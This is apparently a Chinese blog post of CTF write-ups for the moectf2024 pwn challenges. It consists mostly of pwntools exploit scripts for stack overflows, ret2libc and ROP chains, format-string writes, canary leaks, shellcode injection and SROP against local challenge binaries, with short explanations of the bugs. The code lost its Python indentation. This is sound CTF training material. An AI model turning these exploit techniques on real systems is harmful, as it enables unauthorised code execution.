moectf2024
no_more_gets(lockedshell
)
from pwn import *
io = remote("127.0.0.1",11145)
io.recvuntil("get out.\n")
payload = b'a' * (0x50+8) + p64(0x40129E) + p64(0x401176)
io.sendline(payload)
io.interactive()
leak_sth
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
io = process("./pwn")
#io = remote("127.0.0.1",9682)
io.recvuntil("What's your name?\n")
payload = b'AAAAAAAA'+b'%7$p' + b'\x00'
io.sendline(payload)
io.recvuntil("AAAAAAAA0x")
dex =int(io.recv(8),16)
print(dex)
io.sendline(str(dex))
io.interactive()
ez_shellcode
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
io = process("./pwn")
#io = remote("192.168.218.1",10407)
io.recvuntil("Tell me your age:\n")
io.sendline(str(0x120))
io.recvuntil('0x')
shell_addr = int(io.recv(12),16)
print(hex(shell_addr))
shellcode = asm(shellcraft.sh())
print(shellcode)
payload = shellcode.ljust(0x60+8,b'a') + p64(shell_addr)
io.sendline(payload)
io.interactive()
这是什么?libc!(prelibc)
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
io = process("./prelibc")
libc = ELF("./libc.so.6")
io.recvuntil("0x")
puts_addr = int(io.recv(12),16)
base = puts_addr - libc.sym['puts']
sys = base + libc.sym['system']
pop_rdi = base + 0x00002a3e5
bin_sh = base + next(libc.search('/bin/sh'))
ret = base + 0x0000029139
payload = (0x1+8)*b'a' + p64(ret) +p64(pop_rdi) + p64(bin_sh) + p64(sys)
io.sendline(payload)
io.interactive()
这是什么?shellcode!(preshellcode)
from pwn import *
context.arch='amd64'
shellcode = asm(shellcraft.sh())
print(shellcode)
io = process("./pwn")
io.recvuntil(">")
io.sendline(shellcode)
io.interactive()
这是什么?random!(prerandom)
from pwn import *
io = process("./prerandom")
context.arch='amd64'
context.log_level = 'debug'
a = [63448,
82389,
91840,
45791,
79903,
82259,
58052,
60751,
71342,
66031]
for i in range(10):
io.recvuntil("> ")
io.sendline(str(a[i]))
io.recvuntil("> ")
io.sendline(str(123))
io.recvuntil("> ")
io.sendline(str(123))
io.recv()
这是什么?GOT!
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
io = process("./pregot")
elf = ELF("./pregot")
sys = elf.plt['system']
io.recvuntil('`puts`.\n')
payload = b'a'*2*8 + p64(0x401056) +b'a'*4*8 + p64(0x401196)
print(hex(sys))
io.sendline(payload)
io.interactive()
NX_ON
from pwn import *
context.arch='amd64'
context.log_level = 'debug'
all_logs = []
def debug(params=''):
for an_log in all_logs:
success(an_log)
pid = util.proc.pidof(io)[0]
gdb.attach(pid, params)
pause()
ret = 0x0040101a
pop_rax_rdx_rbx = 0x0049d12a
pop_rdi = 0x0040239f
pop_rsi = 0x040a40e
bss = 0x004E5B60
sys = 0x00402154
io = process("./pwn")
io.sendline(b'a'*24)
io.recvuntil(b'a'*24)
can = u64(io.recv(8).ljust(8,b'\x00'))>>8<<8
success(hex(can))
io.recvuntil("name?")
payload = b'/bin/sh'.ljust(24,b'\x00') + p64(can) + b'a'*8 + p64(0x0040101a) + p64(pop_rax_rdx_rbx) + p64(0x3b) + p64(0) + p64(0) + p64(pop_rsi) + p64(0) + p64(pop_rdi) + p64(bss) + p64(sys) + p64(ret) + p64(0x401CD6)
io.send(payload)
io.recvuntil("quit")
io.sendline(str(-0xff))
io.interactive()
第⼀次输⼊将canary低位的'\x00'
覆盖为其他值,可直接泄露canary其余⾼位。将canary补⻬后即可利⽤void *memcpy(void *dest, const void *src, size_t n)
中⻓度参数n对传⼊的实参直接解析为⽆符号的数值的性质,绕过字节数检查实现栈溢出。
其中,对void *memcpy(void *dest, const void *src, size_t n)
传⼊负值属于本程序中该函数的⾮预期⾏为,因此很多负值输⼊进去后会直接导致程序崩溃,这⾥举两个
例⼦:
-1为什么不⾏
先说-1为什么不⾏吧,运⾏后发现它出错是因为RIP被置为0了(⽆效的地址)。 进gdb调
试⼀下,发现问题出在调⽤memcpy()函数之后栈顶返回地址被置为0了,因此在执⾏ret时
会直接报段错误。 问题指令:
► 0x4482b7 <__memmove_avx_unaligned_erms+567> vmovdqa ymmword
ptr [rcx + 0x60], ymm1
在执⾏这条指令之前,rsp为:
RSP 0x7ffdb7f2e018 —▸ 0x401cae (func+308) ◂— jmp 0x401cbf
执⾏之后:
RSP 0x7ffdb7f2e018 ◂— 0
这⾥是因为RCX
寄存器中的地址太靠近栈顶了。
pwndbg> p $rcx + 0x60
$1 = 140732357202144
pwndbg> p $rsp - $1
$2 = (void *) 0x18
注意 :ymmword
⼤⼩为32字节,因此显然这⾥往⾼地址复制的时候rsp
指向的返回地址被
覆盖率 RCX
在执⾏到这步之前进⾏了多次改变,受到输⼊数值⼤⼩的影响。
这是什么?32-bit!
from pwn import *
import ctypes
from LibcSearcher import *
context.log_level = 'debug'
all_logs = []
def debug(params=''):
for an_log in all_logs:
success(an_log)
pid = util.proc.pidof(io)[0]
gdb.attach(pid, params)
pause()
io = process("./backdoor")
io.recvuntil("password: ")
elf = ELF("./backdoor")
print(elf.plt)
exe = elf.got['execve']
puts_plt = elf.plt['puts']
execve_plt = elf.plt['execve']
main_addr = 0x80492E6
payload = b'a'*(0x28+4+1) + p32(execve_plt) + p32(main_addr) + p32(0x0804A011) + p32(0) + p32(0)
io.sendline(payload)
io.recvuntil("Permission denied.")
io.interactive()
Moeplane
LoginSystem
from pwn import *
from Crypto.Util.number import *
context(os='linux',arch='amd64',log_level='debug')
all_logs = []
def debug(params=''):
for an_log in all_logs:
success(an_log)
pid = util.proc.pidof(io)[0]
gdb.attach(pid, params)
pause()
io = process("./pwn")
pass_addr = 0x000404050
io.recvuntil(b'username: ')
payload = fmtstr_payload(8,{pass_addr:0})
#payload = p64(pass_addr)+b'%8$sbbbb'
io.sendline(payload)
#debug()
io.recv()
io.sendline(p64(0))
sleep(2)
io.recv()
io.interactive()
Catch_the_canary!
第⼀种:模拟 32 位环境下 canary 有效⼤⼩仅三字节,可以爆破。(实际场景是新开线程,新线程与主线程 canary ⼀致,新线程崩溃不导致主线程崩溃。)
第⼆种:输⼊时跳过 canary。例如 scanf
在读取数字时,输⼊ + 或 - 可跳过输⼊。
第三种:通过溢出读取填满 canary 的⾸空字节再输出从⽽泄漏 canary。
from pwn import *
import ctypes
context.arch='amd64'
context.log_level = 'debug'
#lib = ctypes.CDLL('/lib/x86_64-linux-gnu/libc.so.6')
all_logs = []
def debug(params=''):
for an_log in all_logs:
success(an_log)
pid = util.proc.pidof(io)[0]
gdb.attach(pid, params)
pause()
io = process("./mycanary")
io.recvuntil("required.\n")
for i in range(0x2345):
t = i + 16768186
io.sendline(str(t))
a = io.recv()
if b"opened" in a:
break
io.sendline("-")
sleep(1)
io.sendline("-1")
io.sendline(str(195874819))
io.recvuntil("Stop it!\n")
payload = b'a'*24+b'b'
io.send(payload)
io.recvuntil(b'b')
canary = u64(io.recv(7).ljust(8,b'\x00'))
canary = canary << 8
success(canary)
payload = b'a'*24 + p64(canary) + b'a'*8 + p64(0x004012C9)
io.sendline(payload)
io.interactive()
shellcode_revenge
checksec
gery5sa@gery5sa-virtual-machine:~/桌面/pwn/moectf/shellcode_revenge$ checksec pwn
[*] '/home/gery5sa/桌面/pwn/moectf/shellcode_revenge/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
什么保护都开了,经过代码分析,后门在这里
unsigned __int64 operate()
{
unsigned __int64 v1; // [rsp+118h] [rbp-8h]
v1 = __readfsqword(0x28u);
if ( level )
{
mmap((void *)0x20240000, 0x1000uLL, 7, 50, -1, 0LL); //这段代码有执行权限
puts("Good luck.");
read(0, (void *)0x20240000, 0xDuLL); //读入数据
MEMORY[0x20240000](); //执行输入的代码
puts("Succeed.");
}
else
{
puts("Sorry, you don't have enough permissions.");
}
return v1 - __readfsqword(0x28u);
}
可以看到能输入的代码很短,但是我们可以构造一个read函数,这段代码的前一句的rdi
和rax
还没有被改变,我们可以利用这一点,比如
shellcode = '''
mov rdx,0x200
add rsi,0xd
syscall
''' #在写入的shellcode后面继续写入,理所应当地执行后面的代码
所以exp如下:
from pwn import *
import ctypes
lib = ctypes.CDLL('/lib/x86_64-linux-gnu/libc.so.6')
context.arch='amd64'
context.log_level = 'debug'
s = shellcraft
io = process("./pwn")
#io.recv()
v3 = lib.time(0);
lib.srand(v3)
v5 = lib.rand()
all_logs = []
def debug(params='b __isoc99_scanf'):
for an_log in all_logs:
success(an_log)
pid = util.proc.pidof(io)[0]
gdb.attach(pid, params)
pause()
def admin_log(passwd):
io.recvuntil(">>>")
io.sendline(str(1))
io.recvuntil("password:")
io.sendline(str(passwd))
io.recvuntil("Welcome back!")
def operate(shellcode):
io.recvuntil(">>>")
io.sendline(str(4))
io.recvuntil("luck.\n")
io.send(shellcode)
#io.interactive()
admin_log(v5)
shellcode = '''
mov rdx,0x2000
add rsi,0xd
syscall
'''
operate(asm(shellcode))
payload2 = s.open("/flag")
payload2 += s.read(3,0x20240000 + 300,100)
payload2 += s.write(1,0x20240000 + 300,100)
payload2 = asm(payload2)
io.sendline(payload2)
io.interactive()
Pwn_it_off!
checksec
voice_pwd
中存在未初始化的字符串。此时 password 位于栈中,其值为刚结束的 beep中残留的随机字符串。只需将程序之前输出的最后⼀个随机字符串部分重复输⼊即可通过。
然⽽,在 num_pwd
中会检查密码是否为五位⼗进制数,且也存在未初始化栈上变量,即使在 num_pwd
输⼊“正确”的密码,也⽆法通过数字⼤⼩检查。
注意到 voice_pwd
中程序通过strcmp
⽐对字符串,C 语⾔⽤ '\x00'
标志字符串末尾,同时 strcmp
字符串⽐对也会到此终⽌,从⽽绕过检查。在 voice_pwd
输⼊正确密码和'\x00'
后添加“⼆进制”形式的数字,使其稍后处于 num_pwd
中的 password 变量。栈布局:(1 字符 == 1 字节,* 为⽤⼾输⼊、# 为已知随机值、- 为未知随机值)
栈上大致情况如下
栈顶(低地址)
beep: voice_pwd: num_pwd:
----beep
########
########
########
########<-->#voipwd#
######## ########
######## *inputs*
######## ******** *inputn*
####---- ********<-->*numpwd*
-canary- -canary- -canary-
栈底(⾼地址)
exp
from pwn import *
import ctypes
context.arch='amd64'
context.log_level = 'debug'
all_logs = []
def debug(params='b num_pwd'):
for an_log in all_logs:
success(an_log)
pid = util.proc.pidof(io)[0]
gdb.attach(pid, params)
pause()
io = process("./alarm")
a = io.recvuntil("voice password.\n")
a = a.split(b'\x0a')
k = a[-5][28:28+0x10-1]
t = a[-5][50:50+2]
success(k)
io.sendline(k+b'\x00'+p64(12345)[0:7])
debug()
io.recvuntil('numeric password.\n')
#debug()
io.sendline(b'12345')
io.recv()
return 15
from pwn import *
io = process("./pwn")
elf = ELF("./pwn")
context.arch = 'amd64'
binsh = 0x00402008
sys_ret = 0x0040111C
gadget = 0x0401106
sigFrame=SigreturnFrame()
sigFrame.rax=59
sigFrame.rdi=binsh
sigFrame.rsi=0x0
sigFrame.rdx=0x0
sigFrame.rip=sys_ret
payload = b'a'*(0x20+8) + p64(gadget) + p64(sys_ret)+bytes(sigFrame)
success(payload)
io.sendline(payload)
io.interactive()
VisibleInput
from pwn import *
from ae64 import AE64
p = gdb.debug('./pwn')
context.arch = 'amd64'
context.terminal = ['tmux', 'split-w', '-h']
context.log_level = 'debug'
s = shellcraft
payload = s.open('./flag')
payload += s.read(3,0x20240000,30)
payload += s.write(1,0x20240000,30)
ss = AE64().encode(asm(payload),'rdx',0,'fast')
p.send(ss)
p.interactive()
System_not_found!
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
#io = process("./dialogue")
io = remote("127.0.0.1",45223)
libc = ELF("./libc.so.6")
elf = ELF("./dialogue")
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
ret = 0x040101a
main_addr = 0x401090
io.recvuntil(b'> ')
payload1 = b'a'*16 + b'\xff\xff' + b'a'*2
io.send(payload1)
io.recvuntil('from?\n> ')
payload = b'a'*(0x28+8) + p64(ret) +p64(puts_plt) + p64(main_addr) + b'a'*20
io.sendline(payload)
io.recvuntil(b'place.\n')
file = u64(io.recv(6).ljust(8,b'\x00'))
success(hex(file))
base = file - libc.sym['funlockfile']
success(hex(base))
sys = base + libc.sym['system']
bin_sh = base + next(libc.search('/bin/sh'))
pop_rdi = base + 0x02a3e5
io.recvuntil(b"> ")
payload1 = b'a'*16 + b'\xff\xff' + b'a'*2
io.send(payload1)
io.recvuntil('> ')
payload = b'a'*(0x28+8) + p64(ret) + p64(pop_rdi) + p64(bin_sh) + p64(sys)
io.sendline(payload)
io.recv()
io.interactive()
Read_once_twice!
import os
import sys
import time
from pwn import *
from ctypes import *
context.os = 'linux'
context.log_level = "debug"
s = lambda data :io.send(str(data))
sa = lambda delim,data :io.sendafter(str(delim), str(data))
sl = lambda data :io.sendline(str(data))
sla = lambda delim,data :io.sendlineafter(str(delim), str(data))
r = lambda num :io.recv(num)
ru = lambda delims, drop=True :io.recvuntil(delims, drop)
itr = lambda :io.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
l64 = lambda :u64(io.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32 = lambda :u32(io.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))
context.terminal = ['gnome-terminal','-x','sh','-c']
def duan():
gdb.attach(io)
pause()
x64_32 = 1
if x64_32:
context.arch = 'amd64'
else:
context.arch = 'i386'
io = process("./twice")
ru('on?\n')
payload = 'a'*23+'ba'
s(payload)
ru('b')
dex = uu64(r(8))
canary = dex >> 8 << 8
leak('canary',canary)
#duan()
ru('chance...\n')
payload = b'a'*24 + p64(canary) + b'a'*8 + b'\xc6\x61'
io.send(payload)
itr()
Where is fmt?
from pwn import *
context.arch='amd64'
context.log_level = 'debug'
all_logs = []
def debug(params=''):
gdb.attach(io, params)
pause()
io = process("./pwn")
io.recvuntil('chances.\n')
payload = 'aaaa%8$p'
io.sendline(payload)
io.recvuntil('0x')
prebp = int(io.recv(12),16)
stack = prebp - 0x10
success('stack-->'+hex(stack))
rip = (stack + 0x8)&(0xffff)
#payload = '%15$p'
payload = '%'+str(rip)+'c%15$hn'
print(payload)
io.recvuntil('chances.\n')
io.sendline(payload)
#io.recv()
#debug()
io.recvuntil('chances.\n')
payload = "%4613"+"c%45$hn"
io.sendline(payload)
io.interactive()
gotit
索引越界,可以将 now_save 指针指向自身,修改其指向 puts@GOT,然后通过 add 加上system - puts
即可拿到 system 函数。然后通过在 saves 数组开始位置布置/bin/sh\x00
来getshell
exp如下
import os
import sys
import time
from pwn import *
from ctypes import *
context.os = 'linux'
context.log_level = "debug"
s = lambda data :io.send(str(data))
sa = lambda delim,data :io.sendafter(str(delim), str(data))
sl = lambda data :io.sendline(str(data))
sla = lambda delim,data :io.sendlineafter(str(delim), str(data))
r = lambda num :io.recv(num)
ru = lambda delims, drop=True :io.recvuntil(delims, drop)
itr = lambda :io.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
l64 = lambda :u64(io.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32 = lambda :u32(io.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))
context.terminal = ['gnome-terminal','-x','sh','-c']
def duan():
gdb.attach(io)
pause()
x64_32 = 1
if x64_32:
context.arch = 'amd64'
else:
context.arch = 'i386'
io = process("./pwn")
libc_path = "./libc.so.6"
libc = ELF(libc_path)
def sub(data):
ru(b'> ')
sl(str(2))
ru('Operand: ')
sl(str(data))
def add(data=1111):
ru(b'> ')
sl(str(1))
ru('Operand: ')
sl(str(data))
def select(index):
ru('Exit')
sl(str(1))
ru('use?\n')
sl(str(index))
#s(str(1))
select(0)
add(u64(b'/bin/sh\x00'))
ru('> ')
io.sendline(str(5))
select(16)
sub(0x100)
add(libc.sym['system'] - libc.sym['puts'])
io.sendline(b'5')
io.sendline(b'3')
itr()
one chance
在格式化字符串里,如果不用x$来写偏移的话,按顺序执行每个%x
作为一个偏移,还是可以先写指针再写数据的,只按先后顺序。这里先改 argv
到返回地址,再修改返回地址尾字节到后门。
import os
import sys
import time
from pwn import *
from ctypes import *
context.os = 'linux'
context.log_level = "debug"
s = lambda data :io.send(str(data))
sa = lambda delim,data :io.sendafter(str(delim), str(data))
sl = lambda data :io.sendline(str(data))
sla = lambda delim,data :io.sendlineafter(str(delim), str(data))
r = lambda num :io.recv(num)
ru = lambda delims, drop=True :io.recvuntil(delims, drop)
itr = lambda :io.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
l64 = lambda :u64(io.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32 = lambda :u32(io.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))
context.terminal = ['gnome-terminal','-x','sh','-c']
def duan():
gdb.attach(io)
pause()
x64_32 = 1
if x64_32:
context.arch = 'amd64'
else:
context.arch = 'i386'
backdoor = 0x1208
io = process("./pwn")
ru("0x")
ret_addr = int(io.recv(12), 16) + 0x18
ret_addr = ret_addr & 0xffff
pad = '%c' * 13 + f'%{ret_addr - 13}c%hn'
pad += f'%{((ret_addr + 0xff) & ~0xff) + (backdoor & 0xff) - ret_addr}c%{0x27 + 6}$hhn'
pad = pad.encode()
ru("chance!")
io.sendline(pad)
itr()
栈的奇妙之旅
本文作者:dr4w
本文链接:https://www.cnblogs.com/zMeedA/p/18582181
版权声明:本作品采用知识共享署名-非商业性使用-禁止演绎 2.5 中国大陆许可协议进行许可。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步